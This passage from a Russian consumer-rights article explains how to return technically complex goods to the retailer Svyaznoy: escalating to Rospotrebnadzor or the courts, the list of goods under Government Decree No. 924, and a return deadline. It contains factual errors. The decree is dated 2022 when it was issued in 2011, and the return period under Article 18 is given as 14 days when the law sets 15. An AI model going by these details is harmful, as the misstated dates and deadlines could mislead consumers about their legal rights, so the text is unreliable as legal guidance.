  11. Сбой в работе программного обеспечения, который приводит к частичной или полной утрате функций изделия.

Если переговоры с продавцом не дали ожидаемого результата, человек может написать жалобу в Роспотребнадзор или исковое заявление в суд. Но лучше сначала направить претензию реализатору.

Условия

Прежде чем перейти к условиям, определим что можно и нельзя вернуть. К невозвратным «Связной» относит технически сложные товары, которые определены Постановлением Правительства РФ от 10.11.2022 № 924. К ним относятся:

  1. Средства связи, обладающие двумя или более функциями.
  2. Любая техника с сенсорным дисплеем.
  3. Часы, обладающие двумя или более функциями (наручные и карманные механические, электронные и электронно-механические).
  4. GPS-навигаторы.
  5. Все виды компьютерной техники (ноутбуки, нетбуки, моноблоки, планшетные компьютеры и системные блоки).
  6. Техника, использующая спутниковую связь (например, для спутникового телевидения).
  7. Фото и видеотехника, имеющая цифровой блок управления, объективы к ней (цифровые и оптические камеры).
  8. Многофункциональные устройства, лазерные и струйные (принтеры, сканеры, копировальные аппараты).
  9. Мониторы.
  10. Телевизоры и проекторы, обладающие цифровым блоком управления.

Товары, входящие в этот список можно вернуть только в случае неисправности и брака, в которых виновно производство. На основании п. 1 ст. 18 Закона РФ от 07.02.1992 № 2300-1 «О защите прав потребителя» вернуть сложнотехнические товары можно только в течение 14-ти дней с момента покупки.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 5,00 из 5)
Загрузка...

Оставьте комментарий

Adblock
detector